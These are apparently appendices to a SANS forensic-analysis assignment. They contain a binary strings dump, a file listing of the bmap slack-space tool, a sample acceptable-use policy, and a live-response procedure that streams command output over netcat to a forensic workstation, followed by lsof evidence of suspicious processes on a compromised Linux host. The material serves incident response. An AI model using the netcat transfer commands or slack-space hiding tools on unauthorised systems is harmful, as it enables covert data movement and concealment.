/etc/suid-debug | MALLOC_CHECK_ | /proc/sys/kernel/osrelease
FATAL: kernel too old | FATAL: cannot determine library version | /usr/lib/gconv
gconv-modules =INTERNAL->ucs2reverse =ucs2reverse->INTERNAL
=INTERNAL->ascii =ascii->INTERNAL
=ascii->INTERNAL =INTERNAL->utf8
=utf8->INTERNAL =INTERNAL->ucs4
=ucs4->INTERNAL =ucs-2BE// UNICODEBIG/
UCS-2LE// ISO-10646/UCS2/ =CSASCII// ANSI_X3.4-1968/
IBM367// ANSI_X3.4-1968// =US-ASCII// ANSI_X3.4-1968/
ISO-IR-6// ANSI_X3.4-1968// =ANSI_X3.4// ANSI_X3.4-1968/
OSF00010101// ISO- =OSF00010100// ISO-
10646/UCS2/ =INTERNAL->10646/UTF8/
UTF-8// ISO-10646/UTF8/ =UTF8// ISO-10646/UTF8/
OSF00010106// ISO- =OSF00010105// ISO-
10646/UCS4/ =10646/UTF8/
alias =ISO-10646/UTF8/
UNICODELITTLE// ISO- =ISO_646.IRV:1991// ANSI_X3.4
10646/UCS2/ =ISO-1968/ ANSI_X3.4-1968/;
ANSI_X3.4-1968// ANSI_X3.4-1968// =ISO-10646/UTF-8/
10646-1:1993// ISO- =GCONV_PATH
10646/UCS4/ =/usr/lib/gconv/gconv-
gconv_init =modules.cache
toupper =gconv_end
tolower =toupper
alpha =tolower
digit =upper
space =tolower
print =upper
ctrl =tolower
libc =upper
POSIX =print
messages =ctrl
LC_COLLATE =space
LC_CTYPEnum =print
LC_MONETARY =space
LC_NUMERIC =print
LC_TIME =space
LC_MESSAGES =print
LC_ALL =print
LC_XXX =print
LANGUAGE =print
charset= =print
OUTPUT_CHARSET =print
parse error =print
plural= =print
nplurals= =print
0123456789abcdefgijklmnopqrstuvwxyz =print
(nil) =print
%m/%d/%y =print
%Y-%m-%d =print
%H:%M =print
%[^0-9,+] =print
%[0-9,+] =print
 %^ =print
(T) =print
/usr/share/locale =print
POSIX =print
LC_TYPE =print
LC_MONETARY =print
LC_TIME =print
LC_MESSAGES =print
LC_ALL =print
LANGUAGE =print
/etc/localtime =print
/system search path =print
cannot map zero-fill pages =print
cannot create searchlist =print
(%s from file =print
(\%s
invalid ELF header =print
ELF file OS ABI invalid =print
trying file=%s =print
find library=%s; searching =print
cannot create cache for =print
\%s
cannot create RUNPATH/RPATH =print
cannot create search path =print
cannot stat shared object =print
cannot create searchlist =print
(%s
%\s
file too short =print

search path
copy
array
map
cannot create shared object
cannot allocate memory for
program header
cannot change memory
protections
dynamic: 0x%0*1x base:
0x%0*1x size: 0x%0*2x
ELF file data encoding not
big-endian
ELF file version does not
match current one
cannot open shared object
file
search cache=%s
undefined symbol:
binding file %s to %s: %s
symbol '%s'
with link time reference
normal
DYNAMIC LINKER BUG!!!
error while loading shared
libraries
gconv_trans_context
gconv_trans_end
LC_TELEPHONE
LC_PAPER
LC_LOCPATH
LANG
^[yY]
%a %b %e %H:%M:%S %Z %Y
December
November
September
August
June
April
February
January
Friday
Thursday
Tuesday
Monday
%p%t%m%f
%a%N%f%N%d%N%h%n%e
%r%NC-%z %T%Nc%N
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
+45 3122-6543
ISO/IEC 14652 i18n FDCC-set

keld@dkuug.dk
Keld Simonsen
ISO/IEC JTC1/SC22/WG20 -
internationalization

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
U^h6LU3
'
=Djz
=t%j
=w8Q}+
};#o
!r>;b
{fG5
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
STUVWXYZ
% % % % % d % d
.profile
s: cannot open file: %
% s: cannot map file: %
Out of memory while initializing profiler
cannot create scope list
empty dynamic string token substitution
calling fini: %
relocation processing: %s%s
% s: profiler found no PLTREL in object %
unexpected reloc type 0x
cannot load auxiliary `%s'
because of empty dynamic string token substitution
cannot allocate dependency list
calling init: %
no version information available (required by
of Verdef record
of Verneed record
U.y'
$po?b
MPO!
*-xx
Ac+;
dI0B
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
STUVWXYZ
% % % % % d % d
.seconds
% s: cannot stat file: %
% s: file is no correct profile data file for `%%'
dlopen
invalid mode for dlopen()
DST not allowed in SUID/SGID programs
shared object not open
(lazy)
cannot make segment writable for relocation
% s: Symbol `%%' has different size in shared object, consider re-linking
cannot restore segment prot after reloc
empty dynamics string token substitution
load auxiliary object=%s
requested by file=%s
load filtered object=%s
requested by file=%s
Filters not supported with LD_TRACE_PRELINKING
checking for version `%%' in file %s requested by file %s
unsupported version
' not found (required by
Appendix B

Bmap-1.0.20.tar.gz file list

[root@localhost bin1.4]# ll -R bmap-1.0.20
bmap-1.0.20:
total 5052
-rwxr-xr-x 1 root wheel 611530 Jul 15 2003 a.out
-rwxr-xr-x 1 root wheel 510960 Jul 15 2003 bclump
-rw-r--r-- 1 root wheel 10364 May 29 2000 bclump.c
-rw-r--r-- 1 root wheel 506 Jul 15 2003 bclump-invoke.sgml
-rw-r--r-- 1 root wheel 30824 Jul 15 2003 bclump.o
-rw-r--r-- 1 root wheel 6616 Oct 17 2003 blocks
-rw-r--r-- 1 root wheel 6616 Oct 17 2003 blocks.sorted
-rwxr-xr-x 1 root wheel 487476 Jul 16 2003 bmap
-rw-r--r-- 1 root wheel 13030 May 15 2000 bmap.c
-rw-r--r-- 1 root wheel 1337 Jul 15 2003 bmap-invoke.sgml
-rw-r--r-- 1 root wheel 36376 Jul 15 2003 bmap.o
-rw-r--r-- 1 root wheel 15603 Jul 15 2003 bmap.sgml
-rw-r--r-- 1 root wheel 12811 May 29 2000 bmap.sgml.m4
drwxr-xr-x 2 root wheel 4096 Oct 17 2003 bmap-slack
-rw-r--r-- 1 root wheel 824 May 15 2000 bmap.spec
-rw-r--r-- 1 root wheel 55155 Jul 15 2003 bmap.strings
-rwxr-xr-x 1 root wheel 487476 Jul 15 2003 bmap.strip.0715
-rwxr-xr-x 1 root wheel 487476 Oct 18 2003 bmap.striped
-rw-r--r-- 1 root wheel 17159 Jul 15 2003 bmap.tex
-rw-r--r-- 1 root wheel 266 Jul 15 2003 config.h
-rw-r--r-- 1 root wheel 18008 Mar 24 2000 COPYING
-rwxr-xr-x 1 root wheel 501043 Jul 15 2003 dev_builder
-rw-r--r-- 1 root wheel 1728 Feb 24 2000 dev_builder.c
-rw-r--r-- 1 root wheel 77579 Jul 15 2003 dev_entries.c
-rw-r--r-- 1 root wheel 113856 Jul 15 2003 dev_entries.o
-rw-r--r-- 1 root wheel 0 Oct 17 2003 file_slack2
drwxrwxr-x 2 root wheel 4096 Oct 16 2003 include
-rw-r--r-- 1 root wheel 913 Feb 14 2000 index.html
-rw-r--r-- 1 root wheel 8546 Apr 11 2000 libbmap.c
-rw-r--r-- 1 root wheel 36464 Jul 15 2003 libbmap.o
-rw-r--r-- 1 root wheel 1322 Apr 14 2000 LICENSE
-rw-r--r-- 1 root wheel 2049 Oct 17 2003 logfilebmap.out
-rw-r--r-- 1 root wheel 546815 Oct 16 2003 lostfile1
-rw-r--r-- 1 root wheel 0 Oct 17 2003 lostfilebmap.out
-rw-r--r-- 1 root wheel 101375 Oct 16 2003 lostfile2
-rw-r--r-- 1 root wheel 2392 Oct 17 2003 Makefile
drwxrwxr-x 3 root wheel 4096 Oct 16 2003 man
drwxrwxr-x 3 root wheel 4096 Jul 15 2003 mft
-rw-r--r-- 1 root wheel 54948 Oct 18 2003 prog.strings
-rw-r--r-- 1 root wheel 6639 May 15 2000 README
-rwxr-xr-x 1 root wheel 621860 Jul 15 2003 slacker
-rw-r--r-- 1 root wheel 8905 Apr 27 2000 slacker.c
-rw-r--r-- 1 root wheel 1029 Jul 15 2003 slacker-invoke.sgml
-rw-r--r-- 1 root wheel 5517 Mar 8 2000 slacker-modules.c
Kevin Miller - Sans GCFA Assignment – v1.4

<table>
<thead>
<tr>
<th>Permissions</th>
<th>User</th>
<th>Group</th>
<th>Size</th>
<th>Date</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>30612</td>
<td>Jul 15</td>
<td>2003 slacker-modules.o</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>33280</td>
<td>Jul 15</td>
<td>2003 slacker.o</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>362</td>
<td>Oct 17</td>
<td>2003 slackinfiles.txt</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>26843</td>
<td>Oct 17</td>
<td>2003 Sound-HOWTO-html.tar.gz</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>1829</td>
<td>Oct 17</td>
<td>2003 Sound-slack.txt</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>2022</td>
<td>Oct 17</td>
<td>2003 s1.slack-out</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>5341</td>
<td>Feb 13</td>
<td>2000 Sound-HOWTO-1.html</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>3849</td>
<td>Feb 13</td>
<td>2000 Sound-HOWTO-2.html</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>12397</td>
<td>Feb 13</td>
<td>2000 Sound-HOWTO-3.html</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>18167</td>
<td>Feb 13</td>
<td>2000 Sound-HOWTO-4.html</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>1556</td>
<td>Feb 13</td>
<td>2000 Sound-HOWTO-5.html</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>30341</td>
<td>Feb 13</td>
<td>2000 Sound-HOWTO-6.html</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>5527</td>
<td>Feb 13</td>
<td>2000 Sound-HOWTO-7.html</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>6170</td>
<td>Feb 13</td>
<td>2000 Sound-HOWTO-8.html</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>92160</td>
<td>Oct 17</td>
<td>2003 Sound-HOWTO-html.tar</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>1829</td>
<td>Oct 17</td>
<td>2003 Sound-HOWTO-html.tar.gz-slack.out</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Permissions</th>
<th>User</th>
<th>Group</th>
<th>Size</th>
<th>Date</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>1032</td>
<td>Mar 24</td>
<td>2000 bmap.h</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>699</td>
<td>Mar 24</td>
<td>2000 slacker.h</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Permissions</th>
<th>User</th>
<th>Group</th>
<th>Size</th>
<th>Date</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>drwxrwxr-x</td>
<td>2 root</td>
<td>wheel</td>
<td>4096</td>
<td>Oct 16</td>
<td>2003 man2</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Permissions</th>
<th>User</th>
<th>Group</th>
<th>Size</th>
<th>Date</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>1870</td>
<td>Mar 24</td>
<td>2000 libbmap.2</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Permissions</th>
<th>User</th>
<th>Group</th>
<th>Size</th>
<th>Date</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>drwxrwxr-x</td>
<td>2 root</td>
<td>wheel</td>
<td>4096</td>
<td>Oct 16</td>
<td>2003 include</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Permissions</th>
<th>User</th>
<th>Group</th>
<th>Size</th>
<th>Date</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>17983</td>
<td>Apr 13</td>
<td>2000 COPYING</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>9672</td>
<td>Apr 11</td>
<td>2000 helper.c</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>26520</td>
<td>Jul 15</td>
<td>2003 helper.o</td>
</tr>
<tr>
<td>drwxrwxr-x</td>
<td>2 root</td>
<td>wheel</td>
<td>4096</td>
<td>Oct 16</td>
<td>2003 include</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>78443</td>
<td>Jul 15</td>
<td>2003 libmft.a</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>8202</td>
<td>Apr 25</td>
<td>2000 log.c</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>30228</td>
<td>Jul 15</td>
<td>2003 log.o</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>810</td>
<td>Apr 13</td>
<td>2000 Makefile</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>98</td>
<td>Jul 15</td>
<td>2003 mft_config.h</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>7905</td>
<td>Mar 24</td>
<td>2000 option.c</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>23560</td>
<td>Jul 15</td>
<td>2003 option.o</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>871</td>
<td>Apr 25</td>
<td>2000 README</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Permissions</th>
<th>User</th>
<th>Group</th>
<th>Size</th>
<th>Date</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>304</td>
<td>Apr 16</td>
<td>2000 helper.h</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>1 root</td>
<td>wheel</td>
<td>572</td>
<td>Mar 8</td>
<td>2000 info.h</td>
</tr>
<tr>
<td>Mode</td>
<td>User</td>
<td>Group</td>
<td>Size</td>
<td>Date</td>
<td>File</td>
</tr>
<tr>
<td>------</td>
<td>-------</td>
<td>-------</td>
<td>------</td>
<td>------------</td>
<td>------------</td>
</tr>
<tr>
<td>-rwr--r--</td>
<td>root</td>
<td>wheel</td>
<td>2258</td>
<td>Apr 25 2000</td>
<td>log.h</td>
</tr>
<tr>
<td>-rwr--r--</td>
<td>root</td>
<td>wheel</td>
<td>436</td>
<td>Mar 8 2000</td>
<td>mft.h</td>
</tr>
<tr>
<td>-rwr--r--</td>
<td>root</td>
<td>wheel</td>
<td>2955</td>
<td>Mar 24 2000</td>
<td>option.h</td>
</tr>
</tbody>
</table>
Appendix C

Some Company – Acceptable Use Policy

The InfoSec Acceptable Use Policy below is from the SANS “www.sans.org/resources/policies/Acceptable_Use_Policy”.

Some Company InfoSec Acceptable Use Policy\textsuperscript{13}

1.0 Overview

InfoSec's intentions for publishing an Acceptable Use Policy are not to impose restrictions that are contrary to Some Company's established culture of openness, trust and integrity. InfoSec is committed to protecting Some Company's employees, partners and the company from illegal or damaging actions by individuals, either knowingly or unknowingly. Internet/Intranet/Extranet-related systems, including but not limited to computer equipment, software, operating systems, storage media, network accounts providing electronic mail, WWW browsing, and FTP, are the property of Some Company. These systems are to be used for business purposes in serving the interests of the company, and of our clients and customers in the course of normal operations. Please review Human Resources policies for further details. Effective security is a team effort involving the participation and support of every Some Company employee and affiliate who deals with information and/or information systems. It is the responsibility of every computer user to know these guidelines, and to conduct their activities accordingly.

2.0 Purpose

The purpose of this policy is to outline the acceptable use of computer equipment at Some Company. These rules are in place to protect the employee and Some Company. Inappropriate use exposes Some Company to risks including virus attacks, compromise of network systems and services, and legal issues.

3.0 Scope

This policy applies to employees, contractors, consultants, temporaries, and other workers at Some Company, including all personnel affiliated with third parties. This policy applies to all equipment that is owned or leased by Some Company.

4.0 Policy

4.1 General Use and Ownership

1. While Some Company's network administration desires to provide a reasonable level of privacy, users should be aware that the data they create on the corporate systems remains the property of Some Company. Because of the need to protect Some Company's network, management cannot guarantee the confidentiality of information stored on any network device belonging to Some Company.

2. Employees are responsible for exercising good judgment regarding the reasonableness of personal use. Individual departments are responsible for creating guidelines concerning personal use of Internet/Intranet/Extranet systems. In the absence of such policies, employees should be guided by departmental policies on personal use, and if there is any uncertainty, employees should consult their supervisor or manager.

3. InfoSec recommends that any information that users consider sensitive or vulnerable be encrypted. For guidelines on information classification, see InfoSec's Information Sensitivity Policy. For guidelines on encrypting email and documents, go to InfoSec's Awareness Initiative.

4. For security and network maintenance purposes, authorized individuals within Some Company may monitor equipment, systems and network traffic at any time, per InfoSec's Audit Policy.

\textsuperscript{13} SANS, “Acceptable Use Policy”, http://www.sans.org/resources/policies/Acceptable_Use_Policy.doc
5. Some Company reserves the right to audit networks and systems on a periodic basis to ensure compliance with this policy.

4.2 Security and Proprietary Information
1. The user interface for information contained on Internet/Intranet/Extranet-related systems should be classified as either confidential or not confidential, as defined by corporate confidentiality guidelines, details of which can be found in Human Resources policies. Examples of confidential information include but are not limited to: company private, corporate strategies, competitor sensitive, trade secrets, specifications, customer lists, and research data. Employees should take all necessary steps to prevent unauthorized access to this information.
2. Keep passwords secure and do not share accounts. Authorized users are responsible for the security of their passwords and accounts. System level passwords should be changed quarterly, user level passwords should be changed every six months.
3. All PCs, laptops and workstations should be secured with a password-protected screensaver with the automatic activation feature set at 10 minutes or less, or by logging-off (control-alt-delete for Win2K users) when the host will be unattended.
4. Use encryption of information in compliance with InfoSec's Acceptable Encryption Use policy.
5. Because information contained on portable computers is especially vulnerable, special care should be exercised. Protect laptops in accordance with the "Laptop Security Tips".
6. Postings by employees from a Some Company email address to newsgroups should contain a disclaimer stating that the opinions expressed are strictly their own and not necessarily those of Some Company, unless posting is in the course of business duties.
7. All hosts used by the employee that are connected to the Some Company Internet/Intranet/Extranet, whether owned by the employee or Some Company, shall be continually executing approved virus-scanning software with a current virus database. Unless overridden by departmental or group policy.
8. Employees must use extreme caution when opening e-mail attachments received from unknown senders, which may contain viruses, e-mail bombs, or Trojan horse code.

4.3. Unacceptable Use
The following activities are, in general, prohibited. Employees may be exempted from these restrictions during the course of their legitimate job responsibilities (e.g., systems administration staff may have a need to disable the network access of a host if that host is disrupting production services). Under no circumstances is an employee of Some Company authorized to engage in any activity that is illegal under local, state, federal or international law while utilizing Some Company-owned resources.

The lists below are by no means exhaustive, but attempt to provide a framework for activities which fall into the category of unacceptable use.

System and Network Activities
The following activities are strictly prohibited, with no exceptions:

3. Violations of the rights of any person or company protected by copyright, trade secret, patent or other intellectual property, or similar laws or regulations, including, but not limited to, the installation or distribution of "pirated" or other software products that are not appropriately licensed for use by Some Company.
4. Unauthorized copying of copyrighted material including, but not limited to, digitization and distribution of photographs from magazines, books or other copyrighted sources, copyrighted music, and the installation of any copyrighted software for which Some Company or the end user does not have an active license is strictly prohibited.
5. Exporting software, technical information, encryption software or technology, in violation of international or regional export control laws, is illegal. The appropriate management should be consulted prior to export of any material that is in question.
6. Introduction of malicious programs into the network or server (e.g., viruses, worms, Trojan horses, e-mail bombs, etc.).
7. Revealing your account password to others or allowing use of your account by others. This includes family and other household members when work is being done at home.
8. Using a Some Company computing asset to actively engage in procuring or transmitting material that is in violation of sexual harassment or hostile workplace laws in the user's local jurisdiction.
9. Making fraudulent offers of products, items, or services originating from any Some Company account.
10. Making statements about warranty, expressly or implied, unless it is a part of normal job duties.
11. Effecting security breaches or disruptions of network communication. Security breaches include, but are not limited to, accessing data of which the employee is not an intended recipient or logging into a server or account that the employee is not expressly authorized to access, unless these duties are within the scope of regular duties. For purposes of this section, "disruption" includes, but is not limited to, network sniffing, pinged floods, packet spoofing, denial of service, and forged routing information for malicious purposes.
12. Port scanning or security scanning is expressly prohibited unless prior notification to InfoSec is made.
13. Executing any form of network monitoring which will intercept data not intended for the employee's host, unless this activity is a part of the employee's normal job/duty.
14. Circumventing user authentication or security of any host, network or account.
15. Interfering with or denying service to any user other than the employee's host (for example, denial of service attack).
16. Using any program/script/command, or sending messages of any kind, with the intent to interfere with, or disable, a user's terminal session, via any means, locally or via the Internet/Intranet/Extranet.
17. Providing information about, or lists of, Some Company employees to parties outside Some Company.

Email and Communications Activities

1. Sending unsolicited email messages, including the sending of "junk mail" or other advertising material to individuals who did not specifically request such material (email spam).
2. Any form of harassment via email, telephone or paging, whether through language, frequency, or size of messages.
3. Unauthorized use, or forging, of email header information.
4. Solicitation of email for any other email address, other than that of the poster's account, with the intent to harass or to collect replies.
5. Creating or forwarding "chain letters", "Ponzi" or other "pyramid" schemes of any type.
6. Use of unsolicited email originating from within Some Company's networks of other Internet/Intranet/Extranet service providers on behalf of, or to advertise, any service hosted by Some Company or connected via Some Company's network.
7. Posting the same or similar non-business-related messages to large numbers of Usenet newsgroups (newsgroup spam).

5.0 Enforcement
Any employee found to have violated this policy may be subject to disciplinary action, up to and including termination of employment.

6.0 Definitions
Term Definition
Spam Unauthorized and/or unsolicited electronic mass mailings.

7.0 Revision History"
Appendix D

Live Response Review

The following unix binary files were used to perform a “live response process” on the Linux 7.3 machine before it was imaged:

nc  ls  date  w  netstat
lsop  ps  lsmod  ifconfig  md5sum
sh

To determine the library files each tool required, the ldd command was used. See below for an example of using ldd to determine what library files the ‘w’ executable command required. The library files were copied to the CDROM and the LD_LIBRARY_PATH environment variable was set to the directory the library files were in.

```
root@localhost bin# ldd w
libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x4001a000)
libc.so.6 => /lib/i686/libc.so.6 (0x42000000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
```

The command “ls –l” is used to identify the library files required;

```
-rwxr-xr-x 1 root root 48736 Apr 15 2002 /lib/libproc.so.2.0.7
lrwxrwxrwx 1 root root 13 Dec 9 2002 /lib/i686/libc.so.6 -> libc-2.2.5.so
lrwxrwxrwx 1 root root 11 Dec 9 2002 /lib/ld-linux.so.2 -> ld-2.2.5.so
```

By setting the LD_LIBRARY_PATH to use known good library files, we’ve ensured the executable will not reference library files on the victim machine. A problem was encountered with the CDROM on the victim machine. The results were the CD would not mount. The floppy disk with the live response commands on it was used. To ensure the library files on the machine were not referenced the binaries were compiled as static.

The live response steps are listed below (CTRL-C was used to end the nc session and write the file on the live response receiving workstation):

<table>
<thead>
<tr>
<th>Forensic Workstation commands</th>
<th>Victim machine commands</th>
</tr>
</thead>
<tbody>
<tr>
<td>nc -l -v -n -p 1111 &gt; starttime.txt</td>
<td>/mnt/floppy/sh</td>
</tr>
<tr>
<td>nc -l -v -n -p 1111 &gt;</td>
<td>/mnt/floppy/date</td>
</tr>
<tr>
<td>nc -l -v -n -p 1111 &gt;</td>
<td>/mnt/floppy/nc 192.168.1.120 1111</td>
</tr>
<tr>
<td>nc -l -v -n -p 1111 &gt;</td>
<td>/mnt/floppy/w</td>
</tr>
</tbody>
</table>
The live response starts with the execution of a trusted shell using ‘/mnt/floppy/sh’. The trusted shell is a shell that we know has not been compromised or trojaned.

On the forensic workstation ‘nc’\(^{14}\) (netcat) is used to wait for the data stream from the victim and write it to the indicated output files. The netcat options are listed below:

- ‘-l’ sets up netcat to listen for an incoming connection.
- ‘-v’ is verbose mode, connection information will be displayed.
- ‘-n’ do not do host or port name lookups.
- ‘-p <port>’ identifies the port netcat will listen on.

The victim machine commands are listed below:

- ‘date’ establishes the startdate for the live response.
- ‘w’ identifies who is logged onto the victim machine.
- ‘netstat -anp’ shows the internet sockets that are open on the victim.
- ‘lsmod’ command helps to identify backdoors and strange network services.
- ‘ps -auxw’ provides the current running processes.
- ‘lsmod’ shows what kernel modules are loaded.

---


Kevin Miller - Sans GCFA Assignment – v1.4
Page 99

- `netstat -anr` displays the routing table.
- `ifconfig -a` shows the configuration of the network interface(s).
- `ls -al /proc` was missing `'-R'`. Without the `'-R'` switch the directory listing did not traverse the sub directories. The purpose of reviewing the /proc directory was to look for deleted but still running executables (exe).
- `date` establishes the stop date for the live response.

The last command run on the forensic host is an MD5 (Message Digest Algorithm #5) checksum on all files from the live response.

An analysis of the live response files provided IP addresses, process IDs (PIIDs), programs to investigate and directories that looked suspicious. See the next section for the complete listings from the live response.

The netstat-sockets.txt file had notable suspicious events in it. The first one was the presence of nfsd running as PID 19811 on port 18. There were two established connections from the victim to IP address XXX.XXX.2.23 on port 6660 TCP running a program called services on PIDs 19941, 19936. The services PIDs were also waiting for connection on UDP ports 1031 and 1032.

The lsif.txt file showed commands, PIDs and nodes that were notable and suspicious. We see the following programs opening raw sockets and listening on http and https ports.

- minilogd
- weit
- popauth
- chmod
- nfsd

The program popauth program was setup on UDP port 3049. The programs that were opening raw sockets referenced node 550563 with chmod also referencing 552454. Each of the suspicious programs from lsif is shown below:

<table>
<thead>
<tr>
<th>Command</th>
<th>PID</th>
<th>User</th>
<th>FD</th>
<th>TYPE</th>
<th>Device</th>
<th>SIZE</th>
<th>NODE</th>
<th>NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3.5</td>
<td>8896</td>
<td>71809</td>
<td>/sbin/minilogd</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>89547</td>
<td>63490</td>
<td>/lib/id-2.2.5.so</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>1401027</td>
<td>73730</td>
<td>/lib/lib64/libc-2.2.5.so</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>0u</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>1u</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>2u</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
</tbody>
</table>

popauth 19685 root 19w REG 3,6 0 44198 /var/log/httpd/ssl_request_log
chmod 19796 root cwd DIR 3,5 2048 40961 /bin
chmod 19796 root rtd DIR 3,5 1024 2 /
chmod 19796 root txt REG 3,5 30102 40980 /bin/chmod
chmod 19796 root mem REG 3,5 89547 63490 /lib/id-2.2.5.so
chmod 19796 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
chmod 19796 root 0u sock 0,0 550563 can't identify protocol
chmod 19796 root 1u sock 0,0 550563 can't identify protocol
chmod 19796 root 2u sock 0,0 550563 can't identify protocol
chmod 19796 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem
chmod 19796 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem (deleted)
chmod 19796 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
chmod 19796 root 6u sock 0,0 550563 can't identify protocol
chmod 19796 root 7r DIR 3,5 1024 20563 /tmp/s/nfsd
chmod 19796 root 8r DIR 3,5 2048 40961 /bin
chmod 19796 root 9u REG 3,5 0 15635 /dev/hdx1
chmod 19796 root 10u sock 0,0 552454 can't identify protocol
chmod 19796 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log
chmod 19796 root 16u IPv4 361623 TCP *:https (LISTEN)
chmod 19796 root 17u IPv4 361624 TCP *:http (LISTEN)
chmod 19796 root 18w REG 3,6 285 44201 /var/log/httpd/access_log
chmod 19796 root 19w REG 3,6 0 44198 /var/log/httpd/ssl_request_log
nfsd 19810 root cwd DIR 3,5 2048 40961 /bin
nfsd 19810 root rtd DIR 3,5 1024 2 /
nfsd 19810 root txt REG 3,2 242909 133050 /usr/sbin/nfsd
nfsd 19810 root mem REG 3,5 89547 63490 /lib/id-2.2.5.so
nfsd 19810 root 2u sock 0,0 550563 can't identify protocol
nfsd 19810 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem
nfsd 19810 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem (deleted)
nfsd 19810 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
nfsd 19810 root 6u sock 0,0 550563 can't identify protocol
nfsd 19810 root 7r DIR 3,5 1024 20563 /tmp/s/nfsd
